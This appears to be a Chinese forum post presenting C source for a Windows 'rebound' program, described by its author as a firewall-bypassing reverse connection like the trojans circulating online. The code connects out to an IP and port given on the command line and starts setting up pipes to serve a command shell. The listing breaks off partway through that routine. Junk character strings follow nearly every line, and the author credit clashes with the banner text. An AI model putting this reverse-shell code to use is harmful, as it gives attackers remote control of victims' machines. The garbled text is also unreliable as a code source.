这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +1ICX
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/* ============================== 3e_tT8
Rebound port in Windows NT j[G`p^ul
By wind,2006/7 |kYlh5/c d
===============================*/ G,u=ngZ]
#include s,HbW%s
#include m8q4t,<J
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#pragma comment(lib,"wsock32.lib") [FO4x`
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void OutputShell(); r;#"j%z
SOCKET sClient; (%my:\>l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #De>EQ%
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void main(int argc,char **argv) (Rw<1q`,
{ s2;~FK#/
WSADATA stWsaData; mci> MEb
int nRet; ;tjOEmIiU
SOCKADDR_IN stSaiClient,stSaiServer; )^>LnQ_u
s ^h@b!'7
if(argc != 3) 8tj]@GE
{ XUqorE
printf("Useage:\n\rRebound DestIP DestPort\n"); <xI<^r'C9e
return; U"PcNQy
} Ar`+x5
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bn}woyJdx
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stSaiClient.sin_family = AF_INET; *WwM"NFHDd
stSaiClient.sin_port = htons(0); "tJ+v*E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?Nos;_/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Nu5|tf9%A
{ n5:uG'L\
printf("Bind Socket Failed!\n"); Ez3fL&*
return; ;J%:DD
} ]I?.1X5d0
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stSaiServer.sin_family = AF_INET; qE[S>/R"
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HK;NR.D
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1-2hh)
{ `|dyT6V0I_
printf("Connect Error!"); Y|>dS8f;4
return; Br1R++]
} 5\ mRH
OutputShell(); v=U<exM6%
} J=g)rd[`
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void OutputShell() ~iL^KeAp
{ ci0A!wWD
char szBuff[1024]; |Y9>kXM l
SECURITY_ATTRIBUTES stSecurityAttributes; OF-k7g7
OSVERSIONINFO stOsversionInfo; {{G)Ry*pb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CMt<oT6.?
STARTUPINFO stStartupInfo; '6so(>|
char *szShell; vsY?q8+P
PROCESS_INFORMATION stProcessInformation; cD!,ZL
unsigned long lBytesRead; n;g'?z=hy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vObZ|>.J~O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0SQ!lr
stSecurityAttributes.lpSecurityDescriptor = 0; Z)?$ZI@
stSecurityAttributes.bInheritHandle = TRUE; PL/g| ;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =pH2V^<<#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b1&